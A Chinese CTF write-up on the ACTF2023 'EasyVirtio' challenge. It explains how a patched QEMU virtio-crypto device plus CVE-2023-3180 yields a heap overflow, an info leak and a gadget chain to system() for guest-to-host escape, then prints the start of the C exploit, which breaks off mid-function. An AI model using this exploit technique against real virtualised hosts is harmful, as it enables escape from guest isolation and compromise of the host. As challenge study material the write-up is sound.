ACTF2023 EasyVirtio

又是事后诸葛,当时自己做的时候唯唯诺诺,等官方的wp出来了才敢重拳出击(🤡)

唯唯诺诺

给的设备是virtio-crypto-pci,这个设备就在qemu的源码中,回想到大半个月前复现的《Scavenger:Misuse Error Handling Leading To QEMU/KVM Escape》中也有利用到hw/virtio目录中的设备,最后看了一下源码,果然和前面的调用方式一样:Misuse Error Handling Leading To QEMU/KVM Escape - xtxtn’s Blog

接下来就是找漏洞函数了,给的是qemu中存在的设备,这种一般在CTF比赛中是patch一些代码来实现漏洞,但是题目作者也没有给出任何patch的信息,而且这个设备的函数非常多,肯定不能一个一个去在ida看,所以直接编译一个版本接近的qemu,然后去用bindiff去比较,这样就能节约大量时间。

当时我拿qemu-7.2.2去比较的情况

从上往下表示匹配度依次降低,最下面的virtio_crypto_init_config函数是一些qemu的初始化调用,后序无法调用,排除该函数; virtio_crypto_guest_notifier_pending和virtio_crypto_guest_notifier_mask函数相比于qemu-7.2.2反而多了一些对参数判断(😦),应该也不是patch代码,所以排除这两个函数;最后看virtio_crypto_sym_input_data_helper函数,对比一下可以明显看到,该函数开头少了一个判断

具体定位到源码就是少了if (status != VIRTIO_CRYPTO_OK)这个判断,可以肯定这就是patch的漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static void
virtio_crypto_sym_input_data_helper(VirtIODevice *vdev,
VirtIOCryptoReq *req,
uint32_t status,
CryptoDevBackendSymOpInfo *sym_op_info)
{
size_t s, len;
struct iovec *in_iov = req->in_iov;

if (status != VIRTIO_CRYPTO_OK) {
return;
}

len = sym_op_info->src_len;
/* Save the cipher result */
s = iov_from_buf(in_iov, req->in_num, 0, sym_op_info->dst, len);
if (s != len) {
virtio_error(vdev, "virtio-crypto dest data incorrect");
return;
}
...
...
}

当时我做到这一步以后就不知道后续了,直到比赛结束也没想出来怎样去利用这个patch。

重拳出击

看完官方的wp后一下子全明白了。

这题用到了CVE-2023-3180,在virtio_crypto_sym_op_helper函数中op_info->src_len为原始数据的长度,op_info->src为原始数据地址,op_info->dst_len为加解密数据的长度,而最后的加解密的数据会写入到op_info->dst中;而op_info这个结构体和数据都在同一个堆块中, op_info->dst的地址通过是src_len这些其它数据的长度最后来确定的,也就是在堆的末尾,由于没有对op_info->src_lenop_info->dst_len的检查,当op_info->src_len大于op_info->dst_len时最后的加解密数据就会堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
static CryptoDevBackendSymOpInfo *
virtio_crypto_sym_op_helper(VirtIODevice *vdev,
struct virtio_crypto_cipher_para *cipher_para,
struct virtio_crypto_alg_chain_data_para *alg_chain_para,
struct iovec *iov, unsigned int out_num)
{
...
max_len = (uint64_t)iv_len + aad_len + src_len + dst_len + hash_result_len;
if (unlikely(max_len > vcrypto->conf.max_size)) {
virtio_error(vdev, "virtio-crypto too big length");
return NULL;
}
op_info = g_malloc0(sizeof(CryptoDevBackendSymOpInfo) + max_len);
op_info->iv_len = iv_len;
op_info->src_len = src_len;
op_info->dst_len = dst_len;
op_info->aad_len = aad_len;
op_info->digest_result_len = hash_result_len;
op_info->hash_start_src_offset = hash_start_src_offset;
op_info->len_to_hash = len_to_hash;
op_info->cipher_start_src_offset = cipher_start_src_offset;
op_info->len_to_cipher = len_to_cipher;
...
...
if (op_info->src_len > 0) {
DPRINTF("src_len=%" PRIu32 "\n", op_info->src_len);
op_info->src = op_info->data + curr_size;

s = iov_to_buf(iov, out_num, 0, op_info->src, op_info->src_len);
if (unlikely(s != op_info->src_len)) {
virtio_error(vdev, "virtio-crypto source data incorrect");
goto err;
}
iov_discard_front(&iov, &out_num, op_info->src_len);

curr_size += op_info->src_len;
}

/* Handle the destination data */
op_info->dst = op_info->data + curr_size;
curr_size += op_info->dst_len;
...
...
}

除了上面我自己发现的patch,作者也给出了其它的patch代码,让漏洞可以更好利用。

虽然这题用到了CVE,但是自己也太粗枝大叶了,当时完全没有注意到virtio_crypto_sym_input_data_helper函数中的s = iov_from_buf(in_iov, req->in_num, 0, sym_op_info->dst, len),里面的len是src_len,而读取的地址是dst,这两个关系并不对应,如果注意到了说不定就可以继续做下去了。对于其它的patch代码在那张匹配度表中也可以找到,而且就在virtio_crypto_sym_input_data_helper函数上面,但是当时我却没有继续看下去…..

利用思路

virtio_crypto_sym_input_data_helper函数中的if (status != VIRTIO_CRYPTO_OK)这个判断,需要将op_info->src加解密写入到op_info->dst后才能读取op_info->dst中的内容,而patch后可以直接读取到op_info->dst中的数据,这样就可以直接将堆中的数据泄漏出来。

virtio_crypto_sym_op_helper函数中的patch将op_info->dst后面附加为一个g_free函数地址

最后在virtio_crypto_free_request函数在去调用该地址

最直接的想法就是直接泄漏g_free函数的地址,然后修改后去劫持控制流;如果直接修改为system之类的函数是完全行不通的,op_info->data[max_len])(op_info)前就已经将op_info中的内容都清空了,无法执行任何命令,这就需要用一些gadget去跳转;自己首先联想到以前堆题中常用的 mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]这个指令,自己也寻找了类似指令,要利用这种指令还要知道堆地址,但是每次释放op_info时完全不好去预测该地址,自己在virtio-crypto设备中也没能找到malloc原语去稳定堆布局,这里我用到之前复现《Scavenger:Misuse Error Handling Leading To QEMU/KVM Escape》学到的跨域攻击,去泄漏虚拟机在qemu中的地址就可以实现相关gadget的利用。

在virtqueue_split_pop函数中elem就会写入虚拟机的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static void *virtqueue_split_pop(VirtQueue *vq, size_t sz)
{
...
...
elem = virtqueue_alloc_element(sz, out_num, in_num);
elem->index = head;
elem->ndescs = 1;
for (i = 0; i < out_num; i++) {
elem->out_addr[i] = addr[i];
elem->out_sg[i] = iov[i];
}
for (i = 0; i < in_num; i++) {
elem->in_addr[i] = addr[out_num + i];
elem->in_sg[i] = iov[out_num + i];
}
...
...
}

elem的大小由out_num和in_num来决定,直接构造多个VRingDesc结构体就能让out_num增加,让elem申请到一块超大的堆块,之后释放进入unsorted bin;接下来控制op_info->src,让op_info的大小与elem的大小相近,但要小一点,op_info就可以申请到之前elem用过的堆块,与op_info后面相邻的堆块依然残留有之前elem的信息,利用virtio_crypto_sym_input_data_helper直接读取其中的信息就可以泄漏虚拟机的地址

最后调用op_info->data[max_len])(op_info)时rax与rdi相等,这里我寻找的gadget是mov rdi, qword ptr [rax + 0x648] ; call qword ptr [rax + 0x640],将op_info->data[max_len]修改为gadget的地址,rax + 0x648写入虚拟机执行命令的地址,由于调用system函数时对rsp有对齐的限制,rax + 0x640并不能直接写入system的地址,这里写入的另一个gadget call qword ptr [rdi + 0x40],这时rdi已经是虚拟机的地址,在rdi + 0x40写入system就可以完成利用。

相关函数的调用直接看:

https://elixir.bootlin.com/qemu/v8.1.0-rc1/source/hw/virtio/virtio-crypto.c

https://elixir.bootlin.com/qemu/v8.1.0-rc1/source/backends/cryptodev-builtin.c#L215

https://elixir.bootlin.com/qemu/v8.1.0-rc1/source/backends/cryptodev-builtin.c#L540

完整exp

exp看上去有700多行,但大部分都是直接搬过来的结构体,懒得去删改….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <unistd.h>


typedef struct VRingAvail
{
uint16_t flags;
uint16_t idx;
uint16_t ring[];
}VRingAvail;

typedef struct VRingDesc
{
uint64_t addr;
uint32_t len;
uint16_t flags;
uint16_t next;
} VRingDesc;


struct virtio_crypto_op_header {
uint32_t opcode;
/* algo should be service-specific algorithms */
uint32_t algo;
/* session_id should be service-specific algorithms */
uint64_t session_id;
/* control flag to control the request */
uint32_t flag;
uint32_t padding;
};


struct virtio_crypto_cipher_para {

uint32_t iv_len;
/* length of source data */
uint32_t src_data_len;
/* length of dst data */
uint32_t dst_data_len;
uint32_t padding;
};

struct virtio_crypto_hash_para {
/* length of source data */
uint32_t src_data_len;
/* hash result length */
uint32_t hash_result_len;
};

struct virtio_crypto_mac_para {
struct virtio_crypto_hash_para hash;
};

struct virtio_crypto_aead_para {
uint32_t iv_len;
/* length of additional auth data */
uint32_t aad_len;
/* length of source data */
uint32_t src_data_len;
/* length of dst data */
uint32_t dst_data_len;
};

struct virtio_crypto_cipher_data_req {
/* Device-readable part */
struct virtio_crypto_cipher_para para;
uint8_t padding[24];
};

struct virtio_crypto_hash_data_req {
/* Device-readable part */
struct virtio_crypto_hash_para para;
uint8_t padding[40];
};

struct virtio_crypto_mac_data_req {
/* Device-readable part */
struct virtio_crypto_mac_para para;
uint8_t padding[40];
};

struct virtio_crypto_alg_chain_data_para {
uint32_t iv_len;
/* Length of source data */
uint32_t src_data_len;
/* Length of destination data */
uint32_t dst_data_len;
/* Starting point for cipher processing in source data */
uint32_t cipher_start_src_offset;
/* Length of the source data that the cipher will be computed on */
uint32_t len_to_cipher;
/* Starting point for hash processing in source data */
uint32_t hash_start_src_offset;
/* Length of the source data that the hash will be computed on */
uint32_t len_to_hash;
/* Length of the additional auth data */
uint32_t aad_len;
/* Length of the hash result */
uint32_t hash_result_len;
uint32_t reserved;
};


struct virtio_crypto_alg_chain_data_req {
/* Device-readable part */
struct virtio_crypto_alg_chain_data_para para;
};

struct virtio_crypto_sym_data_req {
union {
struct virtio_crypto_cipher_data_req cipher;
struct virtio_crypto_alg_chain_data_req chain;
uint8_t padding[40];
} u;

/* See above VIRTIO_CRYPTO_SYM_OP_* */
uint32_t op_type;
uint32_t padding;
};

struct virtio_crypto_aead_data_req {
/* Device-readable part */
struct virtio_crypto_aead_para para;
uint8_t padding[32];
};

struct virtio_crypto_akcipher_para {
uint32_t src_data_len;
uint32_t dst_data_len;
};

struct virtio_crypto_akcipher_data_req {
struct virtio_crypto_akcipher_para para;
uint8_t padding[40];
};

/* The request of the data virtqueue's packet */
struct virtio_crypto_op_data_req {
struct virtio_crypto_op_header header;

union {
struct virtio_crypto_sym_data_req sym_req;
struct virtio_crypto_hash_data_req hash_req;
struct virtio_crypto_mac_data_req mac_req;
struct virtio_crypto_aead_data_req aead_req;
struct virtio_crypto_akcipher_data_req akcipher_req;
uint8_t padding[48];
} u;
};

#define VIRTIO_CRYPTO_SERVICE_CIPHER 0
#define VIRTIO_CRYPTO_SERVICE_HASH 1
#define VIRTIO_CRYPTO_SERVICE_MAC 2
#define VIRTIO_CRYPTO_SERVICE_AEAD 3
#define VIRTIO_CRYPTO_SERVICE_AKCIPHER 4

#define VIRTIO_CRYPTO_OPCODE(service, op) (((service) << 8) | (op))

#define VIRTIO_CRYPTO_CIPHER_CREATE_SESSION \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_CIPHER, 0x02)
#define VIRTIO_CRYPTO_CIPHER_DESTROY_SESSION \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_CIPHER, 0x03)
#define VIRTIO_CRYPTO_HASH_CREATE_SESSION \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_HASH, 0x02)
#define VIRTIO_CRYPTO_HASH_DESTROY_SESSION \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_HASH, 0x03)
#define VIRTIO_CRYPTO_MAC_CREATE_SESSION \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_MAC, 0x02)
#define VIRTIO_CRYPTO_MAC_DESTROY_SESSION \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_MAC, 0x03)
#define VIRTIO_CRYPTO_AEAD_CREATE_SESSION \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_AEAD, 0x02)
#define VIRTIO_CRYPTO_AEAD_DESTROY_SESSION \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_AEAD, 0x03)
#define VIRTIO_CRYPTO_AKCIPHER_CREATE_SESSION \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_AKCIPHER, 0x04)
#define VIRTIO_CRYPTO_AKCIPHER_DESTROY_SESSION \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_AKCIPHER, 0x05)

struct virtio_crypto_ctrl_header {
uint32_t opcode;
uint32_t algo;
uint32_t flag;
/* data virtqueue id */
uint32_t queue_id;
};

struct virtio_crypto_cipher_session_para {
#define VIRTIO_CRYPTO_NO_CIPHER 0
#define VIRTIO_CRYPTO_CIPHER_ARC4 1
#define VIRTIO_CRYPTO_CIPHER_AES_ECB 2
#define VIRTIO_CRYPTO_CIPHER_AES_CBC 3
#define VIRTIO_CRYPTO_CIPHER_AES_CTR 4
#define VIRTIO_CRYPTO_CIPHER_DES_ECB 5
#define VIRTIO_CRYPTO_CIPHER_DES_CBC 6
#define VIRTIO_CRYPTO_CIPHER_3DES_ECB 7
#define VIRTIO_CRYPTO_CIPHER_3DES_CBC 8
#define VIRTIO_CRYPTO_CIPHER_3DES_CTR 9
#define VIRTIO_CRYPTO_CIPHER_KASUMI_F8 10
#define VIRTIO_CRYPTO_CIPHER_SNOW3G_UEA2 11
#define VIRTIO_CRYPTO_CIPHER_AES_F8 12
#define VIRTIO_CRYPTO_CIPHER_AES_XTS 13
#define VIRTIO_CRYPTO_CIPHER_ZUC_EEA3 14
uint32_t algo;
/* length of key */
uint32_t keylen;

#define VIRTIO_CRYPTO_OP_ENCRYPT 1
#define VIRTIO_CRYPTO_OP_DECRYPT 2
/* encrypt or decrypt */
uint32_t op;
uint32_t padding;
};

struct virtio_crypto_session_input {
/* Device-writable part */
uint64_t session_id;
uint32_t status;
uint32_t padding;
};

struct virtio_crypto_cipher_session_req {
struct virtio_crypto_cipher_session_para para;
uint8_t padding[32];
};

struct virtio_crypto_hash_session_para {
#define VIRTIO_CRYPTO_NO_HASH 0
#define VIRTIO_CRYPTO_HASH_MD5 1
#define VIRTIO_CRYPTO_HASH_SHA1 2
#define VIRTIO_CRYPTO_HASH_SHA_224 3
#define VIRTIO_CRYPTO_HASH_SHA_256 4
#define VIRTIO_CRYPTO_HASH_SHA_384 5
#define VIRTIO_CRYPTO_HASH_SHA_512 6
#define VIRTIO_CRYPTO_HASH_SHA3_224 7
#define VIRTIO_CRYPTO_HASH_SHA3_256 8
#define VIRTIO_CRYPTO_HASH_SHA3_384 9
#define VIRTIO_CRYPTO_HASH_SHA3_512 10
#define VIRTIO_CRYPTO_HASH_SHA3_SHAKE128 11
#define VIRTIO_CRYPTO_HASH_SHA3_SHAKE256 12
uint32_t algo;
/* hash result length */
uint32_t hash_result_len;
uint8_t padding[8];
};

struct virtio_crypto_hash_create_session_req {
struct virtio_crypto_hash_session_para para;
uint8_t padding[40];
};

struct virtio_crypto_mac_session_para {
#define VIRTIO_CRYPTO_NO_MAC 0
#define VIRTIO_CRYPTO_MAC_HMAC_MD5 1
#define VIRTIO_CRYPTO_MAC_HMAC_SHA1 2
#define VIRTIO_CRYPTO_MAC_HMAC_SHA_224 3
#define VIRTIO_CRYPTO_MAC_HMAC_SHA_256 4
#define VIRTIO_CRYPTO_MAC_HMAC_SHA_384 5
#define VIRTIO_CRYPTO_MAC_HMAC_SHA_512 6
#define VIRTIO_CRYPTO_MAC_CMAC_3DES 25
#define VIRTIO_CRYPTO_MAC_CMAC_AES 26
#define VIRTIO_CRYPTO_MAC_KASUMI_F9 27
#define VIRTIO_CRYPTO_MAC_SNOW3G_UIA2 28
#define VIRTIO_CRYPTO_MAC_GMAC_AES 41
#define VIRTIO_CRYPTO_MAC_GMAC_TWOFISH 42
#define VIRTIO_CRYPTO_MAC_CBCMAC_AES 49
#define VIRTIO_CRYPTO_MAC_CBCMAC_KASUMI_F9 50
#define VIRTIO_CRYPTO_MAC_XCBC_AES 53
uint32_t algo;
/* hash result length */
uint32_t hash_result_len;
/* length of authenticated key */
uint32_t auth_key_len;
uint32_t padding;
};

struct virtio_crypto_mac_create_session_req {
struct virtio_crypto_mac_session_para para;
uint8_t padding[40];
};

struct virtio_crypto_aead_session_para {
#define VIRTIO_CRYPTO_NO_AEAD 0
#define VIRTIO_CRYPTO_AEAD_GCM 1
#define VIRTIO_CRYPTO_AEAD_CCM 2
#define VIRTIO_CRYPTO_AEAD_CHACHA20_POLY1305 3
uint32_t algo;
/* length of key */
uint32_t key_len;
/* hash result length */
uint32_t hash_result_len;
/* length of the additional authenticated data (AAD) in bytes */
uint32_t aad_len;
/* encrypt or decrypt, See above VIRTIO_CRYPTO_OP_* */
uint32_t op;
uint32_t padding;
};

struct virtio_crypto_aead_create_session_req {
struct virtio_crypto_aead_session_para para;
uint8_t padding[32];
};

struct virtio_crypto_rsa_session_para {
#define VIRTIO_CRYPTO_RSA_RAW_PADDING 0
#define VIRTIO_CRYPTO_RSA_PKCS1_PADDING 1
uint32_t padding_algo;

#define VIRTIO_CRYPTO_RSA_NO_HASH 0
#define VIRTIO_CRYPTO_RSA_MD2 1
#define VIRTIO_CRYPTO_RSA_MD3 2
#define VIRTIO_CRYPTO_RSA_MD4 3
#define VIRTIO_CRYPTO_RSA_MD5 4
#define VIRTIO_CRYPTO_RSA_SHA1 5
#define VIRTIO_CRYPTO_RSA_SHA256 6
#define VIRTIO_CRYPTO_RSA_SHA384 7
#define VIRTIO_CRYPTO_RSA_SHA512 8
#define VIRTIO_CRYPTO_RSA_SHA224 9
uint32_t hash_algo;
};

struct virtio_crypto_ecdsa_session_para {
#define VIRTIO_CRYPTO_CURVE_UNKNOWN 0
#define VIRTIO_CRYPTO_CURVE_NIST_P192 1
#define VIRTIO_CRYPTO_CURVE_NIST_P224 2
#define VIRTIO_CRYPTO_CURVE_NIST_P256 3
#define VIRTIO_CRYPTO_CURVE_NIST_P384 4
#define VIRTIO_CRYPTO_CURVE_NIST_P521 5
uint32_t curve_id;
uint32_t padding;
};

struct virtio_crypto_akcipher_session_para {
#define VIRTIO_CRYPTO_NO_AKCIPHER 0
#define VIRTIO_CRYPTO_AKCIPHER_RSA 1
#define VIRTIO_CRYPTO_AKCIPHER_DSA 2
#define VIRTIO_CRYPTO_AKCIPHER_ECDSA 3
uint32_t algo;

#define VIRTIO_CRYPTO_AKCIPHER_KEY_TYPE_PUBLIC 1
#define VIRTIO_CRYPTO_AKCIPHER_KEY_TYPE_PRIVATE 2
uint32_t keytype;
uint32_t keylen;

union {
struct virtio_crypto_rsa_session_para rsa;
struct virtio_crypto_ecdsa_session_para ecdsa;
} u;
};

struct virtio_crypto_akcipher_create_session_req {
struct virtio_crypto_akcipher_session_para para;
uint8_t padding[36];
};

struct virtio_crypto_alg_chain_session_para {
#define VIRTIO_CRYPTO_SYM_ALG_CHAIN_ORDER_HASH_THEN_CIPHER 1
#define VIRTIO_CRYPTO_SYM_ALG_CHAIN_ORDER_CIPHER_THEN_HASH 2
uint32_t alg_chain_order;
/* Plain hash */
#define VIRTIO_CRYPTO_SYM_HASH_MODE_PLAIN 1
/* Authenticated hash (mac) */
#define VIRTIO_CRYPTO_SYM_HASH_MODE_AUTH 2
/* Nested hash */
#define VIRTIO_CRYPTO_SYM_HASH_MODE_NESTED 3
uint32_t hash_mode;
struct virtio_crypto_cipher_session_para cipher_param;
union {
struct virtio_crypto_hash_session_para hash_param;
struct virtio_crypto_mac_session_para mac_param;
uint8_t padding[16];
} u;
/* length of the additional authenticated data (AAD) in bytes */
uint32_t aad_len;
uint32_t padding;
};

struct virtio_crypto_alg_chain_session_req {
struct virtio_crypto_alg_chain_session_para para;
};

struct virtio_crypto_sym_create_session_req {
union {
struct virtio_crypto_cipher_session_req cipher;
struct virtio_crypto_alg_chain_session_req chain;
uint8_t padding[48];
} u;

/* Device-readable part */

/* No operation */
#define VIRTIO_CRYPTO_SYM_OP_NONE 0
/* Cipher only operation on the data */
#define VIRTIO_CRYPTO_SYM_OP_CIPHER 1
/*
* Chain any cipher with any hash or mac operation. The order
* depends on the value of alg_chain_order param
*/
#define VIRTIO_CRYPTO_SYM_OP_ALGORITHM_CHAINING 2
uint32_t op_type;
uint32_t padding;
};

struct virtio_crypto_destroy_session_req {
/* Device-readable part */
uint64_t session_id;
uint8_t padding[48];
};

/* The request of the control virtqueue's packet */
struct virtio_crypto_op_ctrl_req {
struct virtio_crypto_ctrl_header header;

union {
struct virtio_crypto_sym_create_session_req
sym_create_session;
struct virtio_crypto_hash_create_session_req
hash_create_session;
struct virtio_crypto_mac_create_session_req
mac_create_session;
struct virtio_crypto_aead_create_session_req
aead_create_session;
struct virtio_crypto_akcipher_create_session_req
akcipher_create_session;
struct virtio_crypto_destroy_session_req
destroy_session;
uint8_t padding[56];
} u;
};


void *mmio;
void *buf;
void *read_buf;
VRingDesc *desc;
VRingAvail *avail;
int vq_last_avail_idx;
int vq_avail_idx;
struct virtio_crypto_op_data_req *op_data;
struct virtio_crypto_op_ctrl_req *ctrl_header;

#define VIRTIO_CRYPTO_OPCODE(service, op) (((service) << 8) | (op))

#define VIRTIO_CRYPTO_SERVICE_CIPHER 0
#define VIRTIO_CRYPTO_SERVICE_HASH 1
#define VIRTIO_CRYPTO_SERVICE_MAC 2
#define VIRTIO_CRYPTO_SERVICE_AEAD 3
#define VIRTIO_CRYPTO_SERVICE_AKCIPHER 4

#define VIRTIO_CRYPTO_CIPHER_ENCRYPT \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_CIPHER, 0x00)
#define VIRTIO_CRYPTO_CIPHER_DECRYPT \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_CIPHER, 0x01)
#define VIRTIO_CRYPTO_HASH \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_HASH, 0x00)
#define VIRTIO_CRYPTO_MAC \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_MAC, 0x00)
#define VIRTIO_CRYPTO_AEAD_ENCRYPT \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_AEAD, 0x00)
#define VIRTIO_CRYPTO_AEAD_DECRYPT \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_AEAD, 0x01)
#define VIRTIO_CRYPTO_AKCIPHER_ENCRYPT \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_AKCIPHER, 0x00)
#define VIRTIO_CRYPTO_AKCIPHER_DECRYPT \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_AKCIPHER, 0x01)
#define VIRTIO_CRYPTO_AKCIPHER_SIGN \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_AKCIPHER, 0x02)
#define VIRTIO_CRYPTO_AKCIPHER_VERIFY \
VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_AKCIPHER, 0x03)

#define VIRTIO_PCI_COMMON_STATUS 20
#define VIRTIO_PCI_COMMON_Q_SELECT 22
#define VIRTIO_PCI_COMMON_Q_SIZE 24
#define VIRTIO_PCI_COMMON_Q_ENABLE 28
#define VIRTIO_PCI_COMMON_Q_DESCLO 32
#define VIRTIO_PCI_COMMON_Q_DESCHI 36
#define VIRTIO_PCI_COMMON_Q_AVAILLO 40
#define VIRTIO_PCI_COMMON_Q_AVAILHI 44

#define VRING_DESC_F_NEXT 1
#define VRING_DESC_F_WRITE 2


#define VIRTIO_CRYPTO_SYM_OP_NONE 0
#define VIRTIO_CRYPTO_SYM_OP_CIPHER 1

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

uint32_t page_offset(uint32_t addr)
{
// addr & 0xfff
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;

gfn = pme & PFN_PFN;
close(fd);
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

void mmio_write(uint64_t addr, uint32_t val){
*(uint32_t*)(mmio + addr) = val;
}


void init_virtio(){
mmio_write(VIRTIO_PCI_COMMON_STATUS, 4);
mmio_write(VIRTIO_PCI_COMMON_Q_SELECT, 0);
mmio_write(VIRTIO_PCI_COMMON_Q_SIZE, 0x100);
mmio_write(VIRTIO_PCI_COMMON_Q_DESCLO, gva_to_gpa(desc));
mmio_write(VIRTIO_PCI_COMMON_Q_DESCHI, 0);
mmio_write(VIRTIO_PCI_COMMON_Q_AVAILLO, gva_to_gpa(avail));
mmio_write(VIRTIO_PCI_COMMON_Q_AVAILHI, 0);
mmio_write(VIRTIO_PCI_COMMON_Q_ENABLE, 1);

mmio_write(VIRTIO_PCI_COMMON_Q_SELECT, 1);
mmio_write(VIRTIO_PCI_COMMON_Q_SIZE, 0x100);
mmio_write(VIRTIO_PCI_COMMON_Q_DESCLO, gva_to_gpa(desc));
mmio_write(VIRTIO_PCI_COMMON_Q_DESCHI, 0);
mmio_write(VIRTIO_PCI_COMMON_Q_AVAILLO, gva_to_gpa(avail));
mmio_write(VIRTIO_PCI_COMMON_Q_AVAILHI, 0);
mmio_write(VIRTIO_PCI_COMMON_Q_ENABLE, 1);
}


void init_heap(){
avail->idx = ++vq_avail_idx;
avail->ring[vq_last_avail_idx ++] = 0;

op_data->header.opcode = VIRTIO_CRYPTO_CIPHER_ENCRYPT;
op_data->u.sym_req.op_type = VIRTIO_CRYPTO_SYM_OP_CIPHER;
op_data->u.sym_req.u.cipher.para.src_data_len = 0;

desc[0].flags = VRING_DESC_F_NEXT;
desc[0].addr = gva_to_gpa(op_data);
desc[0].len = 0x800; //sizeof(struct virtio_crypto_op_data_req);
desc[0].next = 1;
//0xc0 + i * 0x18
int i = 1;
for(; i < 0x6f; i++){
desc[i].flags = VRING_DESC_F_NEXT;
desc[i].addr = gva_to_gpa(op_data);
desc[i].len = 0x800;
desc[i].next = i + 1;
}
desc[i].flags = VRING_DESC_F_WRITE;
desc[i].addr = gva_to_gpa(read_buf);
desc[i].len = 0x800;
desc[i].next = 0;

